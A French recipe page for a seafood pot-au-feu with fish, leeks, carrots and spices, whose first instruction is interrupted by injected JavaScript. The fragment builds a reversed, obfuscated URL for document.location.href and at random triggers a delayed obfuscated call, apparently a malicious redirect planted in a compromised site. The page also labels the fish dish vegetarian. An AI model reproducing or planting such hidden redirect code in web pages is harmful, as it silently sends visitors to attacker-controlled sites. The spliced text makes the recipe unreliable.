Pot-au-feu de la mer
2018-01-02- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Facile
Coupez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les poissons en petits morceaux. Enlevez les feuilles tachées des poireaux. Les rincer sous le robinet d’eau froide, les émincer.
Ingrédients
- Pour 6 personnes
- 500 g de lotte
- 3 filets de merlan
- 2 rouget barbet
- 2 filets de lieu noir
- 1,5 litre de fumet de poisson
- 2 poireaux
- 2 carottes
- 2 pincées de 4 épices
- 2 pincées de curry indien
- 2 pincées des épices 5 parfums
- Poivre les 5 baies
Préparation de la recette
Etape 1
Coupez tous les poissons en petits morceaux. Enlevez les feuilles tachées des poireaux. Les rincer sous le robinet d'eau froide, les émincer.
Etape 2
Pelez, coupez en fins bâtonnets les carottes. Versez le fumet de poisson dans un récipient, portez à ébullition.
Etape 3
Plongez les poireaux, les carottes, les épices et faites cuire pendant 10 minutes.
Etape 4
A ce moment plongez tous les poissons dans le fumet/ légumes/ épices/ Laissez cuire sur feu doux, pendant 7 minutes. Ne pas faire bouillir. Dégustez le pot-au-feu accompagner de pommes vapeur.
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